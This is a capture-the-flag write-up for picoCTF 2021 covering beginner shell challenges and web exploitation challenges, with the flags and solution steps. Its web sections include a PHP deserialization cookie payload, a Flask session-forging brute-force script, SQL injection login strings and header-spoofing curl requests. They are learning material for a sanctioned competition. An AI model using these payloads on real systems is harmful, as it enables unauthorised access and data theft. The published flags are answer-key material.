# picoCTF 2021 Writeups The CTF challenges WriteUp for picoCTF 2021. <!-- # {Challenge_Category} ## {Challenge_Name} ### Challenge description {Challenge_Description} ### Solution {Challenge_Solution} ### Summary {Challenge_Summary} Flag: `{Challenge_Flag}` <br><br> <img src='' style="width: 50%" /> --> # General Skills ## Magikarp Ground Mission <span style="color: green;">[Easy]</span> ### Challenge description Do you know how to move between directories and read files in the shell? Start the container, `ssh` to it, and then `ls` once connected to begin. Login via `ssh` as `ctf-player` with the password, `481e7b14` ### Solution `ssh`ing to the target, use ls to get the files in it. After that, cat out the first part of the flag: <img src='https://hackmd.io/_uploads/SyyZDy3h0.png' style="width: 50%" /> Next, look at the instruction, we need to navigate to `/`: <img src='https://hackmd.io/_uploads/HkXPwk2nR.png' style="width: 60%" /> Again, cat out the flag part and the instruction of the third part of the flag: <img src='https://hackmd.io/_uploads/S1bjvk2nA.png' style="width: 70%" /> <img src='https://hackmd.io/_uploads/rkr1dJ320.png' style="width: 55%" /> Finally, navigate to `~` and cat out the last part of the flag: <img src='https://hackmd.io/_uploads/S1Dhukn2C.png' style="width: 40%" /> Concat them and get the flag. ### Summary Fundamental terminal commands usage. Flag: `picoCTF{xxsh_0ut_0f_\/\/4t3r_1118a9a4}` <br><br> ## Tab, Tab, Attack <span style="color: green;">[Easy]</span> ### Challenge description Using tabcomplete in the Terminal will add years to your life, esp. when dealing with long rambling directory structures and filenames: Addadshashanammu.zip ### Solution `unzip` the file first, then cd with tabs as far as possible. There will be a file called `fang-of-haynekhtnamet`, run it and we will get the flag. ### Summary Fundamental unzip concept and terminal command usage. <br>Flag: `picoCTF{l3v3l_up!_t4k3_4_r35t!_f3553887}` <br><br> ## Wave a flag <span style="color: green;">[Easy]</span> ### Challenge description Can you invoke help flags for a tool or binary? [This program](https://mercury.picoctf.net/static/b28b6021d6040b086c2226ebeb913bc2/warm) has extraordinarily helpful information... ### Solution Run the program, we should see it's asking for `-h` option, apply it and we can get the flag. ![Screenshot 2024-09-09 at 11.35.50 AM](https://hackmd.io/_uploads/rk476JnhR.png) ### Summary Fundamental `ELF` file execution concept. <br>Flag: `picoCTF{b1scu1ts_4nd_gr4vy_d6969390}` <br><br> ## Python Wrangling <span style="color: green;">[Easy]</span> ### Challenge description Python scripts are invoked kind of like programs in the Terminal... Can you run this [Python script](https://mercury.picoctf.net/static/0bf545252b5120845e3b568b9ad0277e/ende.py) using [this password](https://mercury.picoctf.net/static/0bf545252b5120845e3b568b9ad0277e/pw.txt) to get [the flag](https://mercury.picoctf.net/static/0bf545252b5120845e3b568b9ad0277e/flag.txt.en)? ### Solution Using the given file, we use `python ende.py -h` to see how to use the script: ![Screenshot 2024-09-09 at 3.20.10 PM](https://hackmd.io/_uploads/SygdhWQ2hC.png) With the option and the password known, we can get the flag: ![Screenshot 2024-09-09 at 3.22.26 PM](https://hackmd.io/_uploads/ryySfQn2C.png) ### Summary Fundamental Python script and option concept. <br>Flag: `picoCTF{4p0110_1n_7h3_h0us3_6008014f}` <br><br> ## Static ain't always noise <span style="color: green;">[Easy]</span> ### Challenge description Can you look at the data in this binary: [static](https://mercury.picoctf.net/static/ec4dbd8898ade34e1d60d5b70c1b8c8c/static)? This [BASH script](https://mercury.picoctf.net/static/ec4dbd8898ade34e1d60d5b70c1b8c8c/ltdis.sh) might help! ### Solution Using the command `sh ltdis.sh static` we can disassemble the static file. We get two `.txt` files, one of them called `static.ltdis.strings.txt`. If we `cat` it using `grep` with pattern `pico`, we can get the flag: ![Screenshot 2024-09-09 at 3.29.19 PM](https://hackmd.io/_uploads/HyjRmX3n0.png) ### Summary The scipt needs privilege to execute, use `chmod +x ltdis.sh` to set execution privilege. <br>Flag: `picoCTF{d15a5m_t34s3r_98d35619}` <br><br> ## Nice netcat... <span style="color: green;">[Easy]</span> ### Challenge description There is a nice program that you can talk to by using this command in a shell: `$ nc mercury.picoctf.net 22342`, but it doesn't speak English... ### Solution Connecting to the server we get a sequence of output with numbers. It seems like ASCII numbers, so I tried an online converter to get the plain text: <img src='https://hackmd.io/_uploads/HJ-JBX2hR.png' style="width: 60%" /> It turns out that it is indeed the flag. ### Summary A simple online converter works perfect for getting the flag. <br>Flag: `picoCTF{g00d_k1tty!_n1c3_k1tty!_5fb5e51d}` <br><br> ## Obedient Cat <span style="color: green;">[Easy]</span> ### Challenge description This file has a flag in plain sight (aka "in-the-clear"). [Download flag](https://mercury.picoctf.net/static/2d24d50b4ebed90c704575627f1f57b2/flag). ### Solution Download the file using `wget` and print out the file using `cat`. ### Summary Fundamental terminal command usage. <br>Flag: `picoCTF{s4n1ty_v3r1f13d_f28ac910}` <br><br> # Web Exploitation ## Cookies <span style="color: green;">[Easy]</span> ### Challenge description Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:21485/ ### Solution Open the cookies in Application -> Storage -> Cookies, there are three cookies there. ![Screenshot 2024-09-09 at 3.49.50 PM](https://hackmd.io/_uploads/Hyps_73h0.png) If we try to enter the cookie like the placeholder telling us, we get the following result: ![Screenshot 2024-09-09 at 3.50.35 PM](https://hackmd.io/_uploads/BkORd72hC.png) The number of `name` change from -1 to 0, so let's try to adjust this number manually. When we attempt to send the request with `name` set to 18, we get the following result: ![Screenshot 2024-09-09 at 3.53.55 PM](https://hackmd.io/_uploads/BkWstQhhC.png) That's the flag we're looking for. ### Summary Fundamental cookie concept. You can use a loop for sending request with different cookies and compare the return result to get the flag. <br>Flag: `picoCTF{3v3ry1_l0v3s_c00k135_94190c8a}` <br><br> ## Scavenger Hunt <span style="color: green;">[Easy]</span> ### Challenge description There is some interesting information hidden around this site http://mercury.picoctf.net:27393/. Can you find it? ### Solution First, view the page source of the main `html` file, we will get the first part of the flag: <img src='https://hackmd.io/_uploads/ByW2cX230.png' style="width: 55%" /> Then, there's another part in `mycss.css`: ![Screenshot 2024-09-09 at 3.59.00 PM](https://hackmd.io/_uploads/ByZCcQhnR.png) Taking a look in the `myjs.js`, it says 'How can I keep Google from indexing my website?'. Browsers will look for a file called `robots.txt` to check who can acess the webpage, so we navigate to `/robots.txt` and get the third part of the flag: <img src='https://hackmd.io/_uploads/BkCzoXhnA.png' style="width: 75%" /> The hint says it is a apache server, there's a `.htaccess` file that configure the server. Navigate to it and get the forth part of the flag: <img src='https://hackmd.io/_uploads/BJOYlNnn0.png' style="width: 90%" /> Finally, the hint says the server is on Mac, which means there will be a `.DS_Store` file that stores information with the finder system. Navigate to it and we can get the last part of the flag: <img src='https://hackmd.io/_uploads/S1qUGEhnR.png' style="width: 70%" /> ### Summary Search from internet to know the apache structure, and for `.DS_Store`, web development experience would be helpful when you found it's accidently pushed to GitHub repo. :) <br>Flag: `picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_d375c750}` <br><br> ## GET aHEAD <span style="color: green;">[Easy]</span> ### Challenge description Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:15931/ ### Solution Take a look at the buttons in the web page, we can see that one is using `GET` and one is using `POST` for request. Also, the challenge name is `GET aHEAD`, so we can try to use `HEAD` request to see what heppens. First, use BurpSuite to open a browser and click one of the buttons: <img src='https://hackmd.io/_uploads/SJepj0E22C.png' style="width: 50%" /> We'll get something like the above. Then, right click to send it to repeater and change the `GET` to `HEAD`: <img src='https://hackmd.io/_uploads/HkJAANh2C.png' style="width: 60%" /> <img src='https://hackmd.io/_uploads/S1q-krn3A.png' style="width: 90%" /> We can see that we get the flag correctly. ### Summary BurpSuite could help modifying the request before sending it, and is useful for many tests. <br>Flag: `picoCTF{r3j3ct_th3_du4l1ty_82880908}` <br><br> ## Super Serial <span style="color: orange;">[Medium]</span> ### Challenge description Try to recover the flag stored on this website http://mercury.picoctf.net:14804/ ### Solution Trying to log as admin with random password did not give useful information, nor did trying to do some SQL injection. Take a look in the robots.txt, we can see that there's a `admin.phps` file that couldn't be seen: <img src='https://hackmd.io/_uploads/rkMrTm620.png' style="width: 30%" /> This tells us that there are `.phps` files, which is a type of source code. We can try looking at the index page for some source code (`index.phps`): <img src='https://hackmd.io/_uploads/SJfOCQTn0.png' style="width: 100%" /> We see that there's a file called `authentication.php`, so again we look at `authentication.phps`: <img src='https://hackmd.io/_uploads/BktYvET2C.png' style="width: 80%" /> <img src='https://hackmd.io/_uploads/HkWQb4a2C.png' style="width: 75%" /> What they are doing is that there's an `access_log` class in `authentication.php`, and it will call `cookie.php`. The important things here is that in `access_log`, there's a `__toString` function, which will read out the file given in `log_file` parameter. This is dangerous as we can simply set the `log_file` to `../flag` (as the hint tell us), and when we refresh the web page, no matter we're authenticated or not, it will automatically read out the file and display it at where the code meant to. To do that we need to set up a cookie called `login` with php serial infomration and encoded with base64 format. We just set the `access_log` information, as authentication did not matter in this case: `O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}` Below is the explanation of the data: `O:10:"access_log"` -> It is an `access_log` object, 10 is the length of `access_log`. `:1:` -> The object has one attribute. `{s:8:"log_file";s:7:"../flag";}` -> The key is `log_file`, and the value is `../flag`. The 8 and 7 again means the length of datas. Encode it with base64, set it in cookie and refresh the page, we get the following: ![Screenshot 2024-09-10 at 11.24.48 AM](https://hackmd.io/_uploads/HJkz34a2A.png) ### Summary The php code can transfer data from web pages and it is quite dangerous to read data using php, as people often forgot to protect or allow the code to do unpredicted actions. <br>Flag: `picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_261d1dcc}` <br><br> ## Most Cookies <span style="color: orange;">[Medium]</span> ### Challenge description Alright, enough of using my own encryption. Flask session cookies should be plenty secure! [server.py](https://mercury.picoctf.net/static/1e4bd835ad3e7fe776d49e7b8cc280c1/server.py) http://mercury.picoctf.net:35697/ ### Solution We can see from the Python script that the route will check for datas in the flask cookie session to see if `very_auth` is set to `admin`, `name` is set to one of the cookies and the whole dataset were signed with the cookie name same as the `name`. ```python # Some part of server.py @app.route("/search", methods=["GET", "POST"]) def search(): if "name" in request.form and request.form["name"] in cookie_names: resp = make_response(redirect("/display")) session["very_auth"] = request.form["name"] return resp else: message = "That doesn't appear to be a valid cookie." category = "danger" flash(message, category) resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp ``` Since there are so many combinations there, we can write a simple script to setup the data and sign it. We only need to check the `/display` route to see if we get the flag. ```python import re from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer import requests cookies = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] class CookieSession(SecureCookieSessionInterface): def get_serializer(self, key): if not key: return None options = dict( key_derivation=self.key_derivation, digest_method=self.digest_method ) return URLSafeTimedSerializer(key, salt=self.salt, serializer=self.serializer, signer_kwargs=options) def create_cookie(key, session_data): session_handler = CookieSession() serializer = session_handler.get_serializer(key) return serializer.dumps(session_data) if __name__ == '__main__': for cookie in cookies: session_data = {} session_data["very_auth"] = "admin" crafted_cookie = create_cookie(cookie, session_data) response = requests.get("http://mercury.picoctf.net:6259/display", cookies={"session": crafted_cookie}, allow_redirects=False) match = re.search(r'picoCTF\{.*?\}', response.text) if match: print("Flag found:", match.group(0)) break ``` What we do here is simply trying every combinations, set the data to `{"very_auth": "admin", "name": COOKIE}`, and use `COOKIE` as signing key, where `COOKIE` is the options in cookie_names from the origin source code. We send the request and see if we can get the flag from them: ![Screenshot 2024-09-10 at 3.54.19 PM](https://hackmd.io/_uploads/Syd4oO6n0.png) ### Summary Flask cookies did not protect the datas with encryption, it only uses a signing key to check it is not modified. However, simple signing key is dangerous as they might be brute forced. <br>Flag: `picoCTF{pwn_4ll_th3_cook1E5_5f016958}` <br><br> ## Web Gauntlet 2 <span style="color: orange;">[Medium]</span> ### Challenge description This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:21336/ Filter: http://mercury.picoctf.net:21336/filter.php ### Solution Many symbols has been filtered, but we still can use the concat symbol `||` to make the word `admin`. Next, we need to pass the password check since we cannot just use comment to truncate it, and the most common way `OR` is filtered, so we can use `IS NOT` to get the boolean value `true`. So the overall username and password will be like so: Username: `ad'||'min'||'` Password: `1' IS NOT '2` After we successfully become admin, the flag is located at filter.php. Refresh and get the flag. ### Summary Fundamental SQL injection concept. <br>Flag: `picoCTF{0n3_m0r3_t1m3_838ec9084e6e0a65e4632329e7abc585}` <br><br> ## Some Assembly Required 1 <span style="color: orange;">[Medium]</span> ### Challenge description http://mercury.picoctf.net:15472/index.html ### Solution We see an input in the web page. <img src='https://hackmd.io/_uploads/r17pkhT20.png' style="width: 50%" /> We can found a js file that has random name. It has been compiled using WebAssembly: ```javascript const _0x402c = ['value', '2wfTpTR', 'instantiate', '275341bEPcme', 'innerHTML', '1195047NznhZg', '1qfevql', 'input', '1699808QuoWhA', 'Correct!', 'check_flag', 'Incorrect!', './JIFxzHyW8W', '23SMpAuA', '802698XOMSrr', 'charCodeAt', '474547vVoGDO', 'getElementById', 'instance', 'copy_char', '43591XxcWUl', '504454llVtzW', 'arrayBuffer', '2NIQmVj', 'result']; const _0x4e0e = function(_0x553839, _0x53c021) { _0x553839 = _0x553839 - 0x1d6; let _0x402c6f = _0x402c[_0x553839]; return _0x402c6f; }; (function(_0x76dd13, _0x3dfcae) { const _0x371ac6 = _0x4e0e; while (!![]) { try { const _0x478583 = -parseInt(_0x371ac6(0x1eb)) + parseInt(_0x371ac6(0x1ed)) + -parseInt(_0x371ac6(0x1db)) * -parseInt(_0x371ac6(0x1d9)) + -parseInt(_0x371ac6(0x1e2)) * -parseInt(_0x371ac6(0x1e3)) + -parseInt(_0x371ac6(0x1de)) * parseInt(_0x371ac6(0x1e0)) + parseInt(_0x371ac6(0x1d8)) * parseInt(_0x371ac6(0x1ea)) + -parseInt(_0x371ac6(0x1e5)); if (_0x478583 === _0x3dfcae) break; else _0x76dd13['push'](_0x76dd13['shift']()); } catch (_0x41d31a) { _0x76dd13['push'](_0x76dd13['shift']()); } } }(_0x402c, 0x994c3)); let exports; (async () => { const _0x48c3be = _0x4e0e; let _0x5f0229 = await fetch(_0x48c3be(0x1e9)) , _0x1d99e9 = await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()) , _0x1f8628 = _0x1d99e9[_0x48c3be(0x1d6)]; exports = _0x1f8628['exports']; } )(); function onButtonPress() { const _0xa80748 = _0x4e0e; let _0x3761f8 = document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)]; for (let _0x16c626 = 0x0; _0x16c626 < _0x3761f8['length']; _0x16c626++) { exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626), _0x16c626); } exports['copy_char'](0x0, _0x3761f8['length']), exports[_0xa80748(0x1e7)]() == 0x1 ? document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] = _0xa80748(0x1e6) : document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] = _0xa80748(0x1e8); } ``` We can notice one thing that there seems like a file path in the array which stores informations for deobfuscation (`./JIFxzHyW8W`), so we can take a look at it to see what's interesting in there before jump into the code itself. Navigate to the route we download the file. Inside it, the last part shows the flag: <img src='https://hackmd.io/_uploads/r1KArnah0.png' style="width: 90%" /> Another way to achieve the goal is to look up in the web page source section, we got a `wsam` folder, which cointains the low level instructions of the service. Looking inside those instructions we can also found that the flag is not break up into peices, instead just hardcoded at there: ![Screenshot 2024-09-10 at 8.10.17 PM](https://hackmd.io/_uploads/SyvNDh6nA.png) ### Summary There's actually still another way that is to analyze the code itself and try to find out the correct key. However, it is always good if we could get the answer with lower effort. <br>Flag: `picoCTF{c733fda95299a16681f37b3ff09f901c}` <br><br> ## Who are you? <span style="color: orange;">[Medium]</span> ### Challenge description Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:52362/ ### Solution Upon navigating to the target browser, we see the result saying only `PicoBrowser` allowed for the website: ![Screenshot 2024-09-16 at 12.19.06 PM](https://hackmd.io/_uploads/SyK6bNSpA.png) It seems that we need to be `PicoBrowser` to access it. So we can copy the request as cURL and use terminal to try access it. First copy it: <img src='https://hackmd.io/_uploads/SJJXMErTC.png' style="width: 70%" /> ```shell curl 'http://mercury.picoctf.net:52362/' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \ -H 'Accept-Language: en-US,en;q=0.9' \ -H 'Cache-Control: max-age=0' \ -H 'Connection: keep-alive' \ -H 'Cookie: session=eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Zt_yJw.wtWCsg6nqg_LT3F_pM42u7qqT0Y; PHPSESSID=bk6u30599knh0isr18k074apol' \ -H 'DNT: 1' \ -H 'Upgrade-Insecure-Requests: 1' \ -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36' \ --insecure ``` Change the user agent to `PicoBrowser`: ```shell -H 'User-Agent: PicoBrowser' ``` Send it. We can see the reply contains a string saying: <img src='https://hackmd.io/_uploads/Hy977NBaA.png' style="width: 90%" /> To fix this, we can add the referer: ```shell -H 'Referer: http://mercury.picoctf.net:52362/' ``` Again, send it. We can see that now it is saying: <img src='https://hackmd.io/_uploads/rk_bBEHpR.png' style="width: 70%" /> We can fix that by setting the date: ```shell -H 'Date: Tue, 01 Jan 2018 12:00:00 GMT' ``` Next, we get: <img src='https://hackmd.io/_uploads/B1c2B4ra0.png' style="width: 90%" /> So let's pretend we're from Sweden. To do that, we can change the accept language to `sv-SE` and also set the ip for a Sweden ip address: ```shell -H 'Accept-Language: sv-SE,sv;q=0.9,en;q=0.8' \ -H 'X-Forwarded-For: 102.177.146.0' ``` After sending it at this point, you should get the flag. Below is the final request: ``` curl 'http://mercury.picoctf.net:52362/' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \ -H 'Accept-Language: sv-SE,sv;q=0.9,en;q=0.8' \ -H 'Cache-Control: max-age=0' \ -H 'Connection: keep-alive' \ -H 'Cookie: session=eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Zt_yJw.wtWCsg6nqg_LT3F_pM42u7qqT0Y; PHPSESSID=bk6u30599knh0isr18k074apol' \ -H 'DNT: 1' \ -H 'Upgrade-Insecure-Requests: 1' \ -H 'Referer: http://mercury.picoctf.net:52362/' \ -H 'User-Agent: PicoBrowser' \ -H 'Date: Tue, 01 Jan 2018 12:00:00 GMT' \ -H 'X-Forwarded-For: 102.177.146.0' --insecure ``` ### Summary Some request header knowledge. Reduce the time by asking chat bot for those headers' names. Flag: `picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_0c0db339}` <br><br> ## Some Assembly Required 2 <span style="color: orange;">[Medium]</span> ### Challenge description http://mercury.picoctf.net:48841/index.html ### Solution Since we're on a browser, we can set break points on the web source to observe the datas store in the memory. In the source page, we have a assembled JavaScript code, but it is hard to know what it is trying to do if we simply look at the code. We also get a wasm file, which contains the assembly code in it. If we take a closer look at it, we can see the function name with `check_flag`: ![Screenshot 2024-09-16 at 1.11.37 PM](https://hackmd.io/_uploads/HJHGAVSTA.png) Keep going down, with the basic knowledge and JavaScript code, you will notice that it is comparing the user input with the flag, which is probably stored at the only memory position we can see in this assembly function: <img src='https://hackmd.io/_uploads/Hk7OA4raC.png' style="width: 70%" /> What we can do here, is set a breakpoint in the function before it is comparing two strings, and observe the data stored in the memory. After setting the breakpoint and run submit some random trash as flag, you should see that the web has been paused like so: ![Screenshot 2024-09-16 at 1.15.23 PM](https://hackmd.io/_uploads/B1_eJBBaA.png) If we take a look at the right side bar, we can navigate the data using the route, see that there's a string data started from 1024: ![Screenshot 2024-09-16 at 1.17.41 PM](https://hackmd.io/_uploads/BJVYySra0.png) Alternativly, we can also see this information at the bottom of the function: ![Screenshot 2024-09-16 at 1.22.50 PM](https://hackmd.io/_uploads/SkvhxHHTR.png) However, that's not what the flag should look like. So if you look at how it is comparing the strings, we get some possible guess that it is `xor`ing the string with 8 from the below code: ![Screenshot 2024-09-16 at 1.24.19 PM](https://hackmd.io/_uploads/ryxGbBBaA.png) Now, we `xor` the string with 8 using Python: ```python input_string = "xakgK\5cNs>j:<?m8>m;>k110<j?=88lj0l11:n;nmu\00\00" print("".join([chr(ord(c) ^ 8) for c in input_string])) ``` We get a pretty close output, just make a simple fix and that's the flag: ```   Origin output: picoC kF{6b247e06e36c9984b7500db8d992f3fe} Fix: picoCTF{6b247e06e36c9984b7500db8d992f3fe} ``` ### Summary We can set breakpoints in wasm file directly at where we want to observe the data, also, it is helpful to find valuable information using function names and have some basic knowledge at what the assembly code is doing. Flag: `picoCTF{6b247e06e36c9984b7500db8d992f3fe}` <br><br> <!-- ## Web Gauntlet 3 <span style="color: orange;">[Medium]</span> ### Challenge description Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:28715/ Filter: http://mercury.picoctf.net:28715/filter.php ### Solution {Challenge_Solution} ### Summary {Challenge_Summary} Flag: `{Challenge_Flag}` <br><br> # Cryptography --> # Reverse Engineering # Forensics # Binary Exploitation